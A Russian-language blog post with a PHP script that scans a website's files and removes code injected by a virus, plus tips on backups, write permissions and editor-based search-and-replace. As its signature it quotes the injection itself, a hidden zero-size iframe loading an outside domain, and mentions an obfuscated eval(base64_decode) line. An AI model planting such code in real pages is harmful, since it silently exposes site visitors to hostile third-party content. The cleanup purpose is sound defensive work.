Если вдруг в файлы на сайте вирус сделал примерно такую запись:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtP и так далее"));
нужно пройтись по всем файлам на сайте и удалить добавленный код.
Пройтись по файлам можно с помощью php скрипта.
Например, такого скрипта с сайта www.habrahabr.kz/blog/768.html
Пришлось немного поменять скрипт, потому что он удалял несколько больше чем вставленный вирусом код.
Получился вот такой вариант скрипта для удаления вируса в файлах на сайте:
<?php //Virus removal script by OSA //v1.1 31.10.2010 //jdevelop.info 29.01.2012 $virus_text = '<iframe name="SagUTeXYne" src="http://skysell.ru/kx/index.php?out=1331605369" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>'; $skip_files = array ('delvir.php'); $del = false; $dir = getcwd().'/'; $num_infected = 0; function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') { if ($dh = opendir($dir)) { while (($file = readdir($dh))!== false) { if ($file === '.' || $file === '..') { continue; } if (is_file($dir . $file)) { if (is_array($types)) { if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) { continue; } } $callback($baseDir, $file); }elseif($recursive && is_dir($dir . $file)) { dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR); } } closedir($dh); } } function del_virus ($fdir, $ffile) { $flag = false; $filename = $fdir.$ffile; echo $filename; if (!in_array($ffile, $GLOBALS['skip_files'])){ $handle = fopen($filename, "r"); $fsize = filesize($filename); if (!$fsize){ $contents = ''; }else{ $contents = fread($handle, $fsize); } fclose($handle); if (strpos($contents, $GLOBALS['virus_text']) !== false) { if ( $GLOBALS['del'] ) { $contents = str_replace($GLOBALS['virus_text'], '', $contents); $handle = fopen($filename, "wb"); fwrite($handle,$contents); fclose($handle); echo " - deleted"; } echo " - infected"; $GLOBALS['num_infected']++; } }else{ echo " - skipped"; } echo "<br/>"; }; dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir ); echo "Num infected = $num_infected <br/>"; ?>
Как удалять код вируса..
Нужно создать файл delvir.php, скопировать туда код скрипта, переменной $virus_text присвоить код вируса, для удаления $del = true; Потом скопировать этот файл в корень сайта и запустить.
Предварительно нужно сделать архив всех файлов! Чтобы вернуть в случае некорректной замены кода вируса.
Нужно еще проверить права на запись в файл, иначе если доступ только на чтение вирус не будет удален. Поменять доступ можно с помощью фтп клиента.
Пришел в голову еще один вариант удаления вируса)
Скопировать файлы на локальный компьютер, и запустить поиск и замену по всем файлам. Например, с помощью текстового редактора notepad++
Notepad++ работает и по ftp протоколу, но я лично поиск и замену по файлам при подключении по ftp протоколу не пробовал.
Еще один способ очистки сайта от вирусов >> Полная очистка сайта от вирусов